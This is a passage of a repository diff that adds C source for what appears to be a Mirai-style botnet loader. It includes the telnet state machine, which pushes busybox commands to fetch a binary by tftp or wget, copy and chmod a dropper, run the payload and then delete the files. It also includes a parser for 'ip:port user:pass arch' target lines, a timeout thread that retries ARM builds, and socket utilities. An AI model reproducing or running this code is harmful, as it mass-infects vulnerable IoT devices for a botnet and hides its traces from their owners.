conn->state_telnet = TELNET_RUN_BINARY;
|
||||
conn->timeout = 30;
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Finished tftp loading\n", conn->fd);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch);
|
||||
ATOMIC_INC(&wrker->srv->total_tftps);
|
||||
}
|
||||
else if (consumed < -1) // Did not have permission to TFTP
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] No permission to TFTP load, falling back to echo!\n", conn->fd);
|
||||
#endif
|
||||
consumed *= -1;
|
||||
conn->state_telnet = TELNET_UPLOAD_ECHO;
|
||||
conn->info.upload_method = UPLOAD_ECHO;
|
||||
|
||||
conn->timeout = 30;
|
||||
util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n");
|
||||
}
|
||||
break;
|
||||
case TELNET_RUN_BINARY:
|
||||
if ((consumed = connection_verify_payload(conn)) > 0)
|
||||
{
|
||||
if (consumed >= 255)
|
||||
{
|
||||
conn->success = TRUE;
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Succesfully ran payload\n", conn->fd);
|
||||
#endif
|
||||
consumed -= 255;
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Failed to execute payload\n", conn->fd);
|
||||
#endif
|
||||
if (!conn->retry_bin && strncmp(conn->info.arch, "arm", 3) == 0)
|
||||
{
|
||||
conn->echo_load_pos = 0;
|
||||
strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm"));
|
||||
conn->bin = binary_get_by_arch(conn->info.arch);
|
||||
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_UPLOAD_METHODS;
|
||||
conn->retry_bin = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
#ifndef DEBUG
|
||||
util_sockprintf(conn->fd, "rm -rf " FN_DROPPER "; > " FN_BINARY "; " TOKEN_QUERY "\r\n");
|
||||
#else
|
||||
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
|
||||
#endif
|
||||
conn->state_telnet = TELNET_CLEANUP;
|
||||
conn->timeout = 10;
|
||||
}
|
||||
break;
|
||||
case TELNET_CLEANUP:
|
||||
if ((consumed = connection_consume_cleanup(conn)) > 0)
|
||||
{
|
||||
int tfd = conn->fd;
|
||||
|
||||
connection_close(conn);
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Cleaned up files\n", tfd);
|
||||
#endif
|
||||
}
|
||||
default:
|
||||
consumed = 0;
|
||||
break;
|
||||
}
|
||||
|
||||
if (consumed == 0) // We didn't consume any data
|
||||
break;
|
||||
else
|
||||
{
|
||||
if (consumed > conn->rdbuf_pos)
|
||||
{
|
||||
consumed = conn->rdbuf_pos;
|
||||
//printf("consuming more then our position!\n");
|
||||
//abort();
|
||||
}
|
||||
conn->rdbuf_pos -= consumed;
|
||||
memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
|
||||
conn->rdbuf[conn->rdbuf_pos] = 0;
|
||||
}
|
||||
|
||||
if (conn->rdbuf_pos > 8196)
|
||||
{
|
||||
printf("oversized buffer! 2\n");
|
||||
abort();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void *timeout_thread(void *arg)
|
||||
{
|
||||
struct server *srv = (struct server *)arg;
|
||||
int i, ct;
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
ct = time(NULL);
|
||||
|
||||
for (i = 0; i < (srv->max_open * 2); i++)
|
||||
{
|
||||
struct connection *conn = srv->estab_conns[i];
|
||||
|
||||
if (conn->open && conn->last_recv > 0 && ct - conn->last_recv > conn->timeout)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Timed out\n", conn->fd);
|
||||
#endif
|
||||
if (conn->state_telnet == TELNET_RUN_BINARY && !conn->ctrlc_retry && strncmp(conn->info.arch, "arm", 3) == 0)
|
||||
{
|
||||
conn->last_recv = time(NULL);
|
||||
util_sockprintf(conn->fd, "\x03\x1Akill %%1\r\nrm -rf " FN_BINARY " " FN_DROPPER "\r\n");
|
||||
conn->ctrlc_retry = TRUE;
|
||||
|
||||
conn->echo_load_pos = 0;
|
||||
strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm"));
|
||||
conn->bin = binary_get_by_arch(conn->info.arch);
|
||||
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_UPLOAD_METHODS;
|
||||
conn->retry_bin = TRUE;
|
||||
} else {
|
||||
connection_close(conn);
|
||||
}
|
||||
} else if (conn->open && conn->output_buffer.deadline != 0 && time(NULL) > conn->output_buffer.deadline)
|
||||
{
|
||||
conn->output_buffer.deadline = 0;
|
||||
util_sockprintf(conn->fd, conn->output_buffer.data);
|
||||
}
|
||||
}
|
||||
|
||||
sleep(1);
|
||||
}
|
||||
}
|
||||
|
||||
63
loader/src/telnet_info.c
Executable file
63
loader/src/telnet_info.c
Executable file
@@ -0,0 +1,63 @@
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include "headers/includes.h"
|
||||
#include "headers/telnet_info.h"
|
||||
|
||||
struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info)
|
||||
{
|
||||
if (user != NULL)
|
||||
strcpy(info->user, user);
|
||||
if (pass != NULL)
|
||||
strcpy(info->pass, pass);
|
||||
if (arch != NULL)
|
||||
strcpy(info->arch, arch);
|
||||
info->addr = addr;
|
||||
info->port = port;
|
||||
|
||||
info->has_auth = user != NULL || pass != NULL;
|
||||
info->has_arch = arch != NULL;
|
||||
|
||||
return info;
|
||||
}
|
||||
|
||||
struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out) // Format: ip:port user:pass arch
|
||||
{
|
||||
char *conn, *auth, *arch;
|
||||
char *addr_str, *port_str, *user = NULL, *pass = NULL;
|
||||
ipv4_t addr;
|
||||
port_t port;
|
||||
|
||||
if ((conn = strtok(str, " ")) == NULL)
|
||||
return NULL;
|
||||
if ((auth = strtok(NULL, " ")) == NULL)
|
||||
return NULL;
|
||||
arch = strtok(NULL, " "); // We don't care if we don't know the arch
|
||||
|
||||
if ((addr_str = strtok(conn, ":")) == NULL)
|
||||
return NULL;
|
||||
if ((port_str = strtok(NULL, ":")) == NULL)
|
||||
return NULL;
|
||||
|
||||
if (strlen(auth) == 1)
|
||||
{
|
||||
if (auth[0] == ':')
|
||||
{
|
||||
user = "";
|
||||
pass = "";
|
||||
}
|
||||
else if (auth[0] != '?')
|
||||
return NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
user = strtok(auth, ":");
|
||||
pass = strtok(NULL, ":");
|
||||
}
|
||||
|
||||
addr = inet_addr(addr_str);
|
||||
port = htons(atoi(port_str));
|
||||
|
||||
return telnet_info_new(user, pass, arch, addr, port, out);
|
||||
}
|
||||
174
loader/src/util.c
Executable file
174
loader/src/util.c
Executable file
@@ -0,0 +1,174 @@
|
||||
#include <stdint.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdarg.h>
|
||||
#include "headers/includes.h"
|
||||
#include "headers/util.h"
|
||||
#include "headers/server.h"
|
||||
|
||||
void hexDump (char *desc, void *addr, int len) {
|
||||
int i;
|
||||
unsigned char buff[17];
|
||||
unsigned char *pc = (unsigned char*)addr;
|
||||
|
||||
// Output description if given.
|
||||
if (desc != NULL)
|
||||
printf ("%s:\n", desc);
|
||||
|
||||
if (len == 0) {
|
||||
printf(" ZERO LENGTH\n");
|
||||
return;
|
||||
}
|
||||
if (len < 0) {
|
||||
printf(" NEGATIVE LENGTH: %i\n",len);
|
||||
return;
|
||||
}
|
||||
|
||||
// Process every byte in the data.
|
||||
for (i = 0; i < len; i++) {
|
||||
// Multiple of 16 means new line (with line offset).
|
||||
|
||||
if ((i % 16) == 0) {
|
||||
// Just don't print ASCII for the zeroth line.
|
||||
if (i != 0)
|
||||
printf (" %s\n", buff);
|
||||
|
||||
// Output the offset.
|
||||
printf (" %04x ", i);
|
||||
}
|
||||
|
||||
// Now the hex code for the specific character.
|
||||
printf (" %02x", pc[i]);
|
||||
|
||||
// And store a printable ASCII character for later.
|
||||
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
|
||||
buff[i % 16] = '.';
|
||||
else
|
||||
buff[i % 16] = pc[i];
|
||||
buff[(i % 16) + 1] = '\0';
|
||||
}
|
||||
|
||||
// Pad out last line if not exactly 16 characters.
|
||||
while ((i % 16) != 0) {
|
||||
printf (" ");
|
||||
i++;
|
||||
}
|
||||
|
||||
// And print the final ASCII bit.
|
||||
printf (" %s\n", buff);
|
||||
}
|
||||
|
||||
int util_socket_and_bind(struct server *srv)
|
||||
{
|
||||
struct sockaddr_in bind_addr;
|
||||
int i, fd, start_addr;
|
||||
BOOL bound = FALSE;
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
||||
return -1;
|
||||
|
||||
bind_addr.sin_family = AF_INET;
|
||||
bind_addr.sin_port = 0;
|
||||
|
||||
// Try to bind on the first available address
|
||||
start_addr = rand() % srv->bind_addrs_len;
|
||||
for (i = 0; i < srv->bind_addrs_len; i++)
|
||||
{
|
||||
bind_addr.sin_addr.s_addr = srv->bind_addrs[start_addr];
|
||||
if (bind(fd, (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1)
|
||||
{
|
||||
if (++start_addr == srv->bind_addrs_len)
|
||||
start_addr = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
bound = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!bound)
|
||||
{
|
||||
close(fd);
|
||||
#ifdef DEBUG
|
||||
printf("Failed to bind on any address\n");
|
||||
#endif
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Set the socket in nonblocking mode
|
||||
if (fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set socket in nonblocking mode. This will have SERIOUS performance implications\n");
|
||||
#endif
|
||||
}
|
||||
return fd;
|
||||
}
|
||||
|
||||
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len)
|
||||
{
|
||||
int i, matched = 0;
|
||||
|
||||
if (mem_len > buf_len)
|
||||
return -1;
|
||||
|
||||
for (i = 0; i < buf_len; i++)
|
||||
{
|
||||
if (buf[i] == mem[matched])
|
||||
{
|
||||
if (++matched == mem_len)
|
||||
return i + 1;
|
||||
}
|
||||
else
|
||||
matched = 0;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
BOOL util_sockprintf(int fd, const char *fmt, ...)
|
||||
{
|
||||
char buffer[BUFFER_SIZE + 2];
|
||||
va_list args;
|
||||
int len;
|
||||
|
||||
va_start(args, fmt);
|
||||
len = vsnprintf(buffer, BUFFER_SIZE, fmt, args);
|
||||
va_end(args);
|
||||
|
||||
if (len > 0)
|
||||
{
|
||||
if (len > BUFFER_SIZE)
|
||||
len = BUFFER_SIZE;
|
||||
|
||||
#ifdef DEBUG
|
||||
hexDump("TELOUT", buffer, len);
|
||||
#endif
|
||||
if (send(fd, buffer, len, MSG_NOSIGNAL) != len)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
char *util_trim(char *str)
|
||||
{
|
||||
char *end;
|
||||
|
||||
while(isspace(*str))
|
||||
str++;
|
||||
|
||||
if(*str == 0)
|
||||
return str;
|
||||
|
||||
end = str + strlen(str) - 1;
|
||||
while(end > str && isspace(*end))
|
||||
end--;
|
||||
|
||||
*(end+1) = 0;
|
||||
|
||||
return str;
|
||||
}
|
||||
Reference in New Issue
Block a user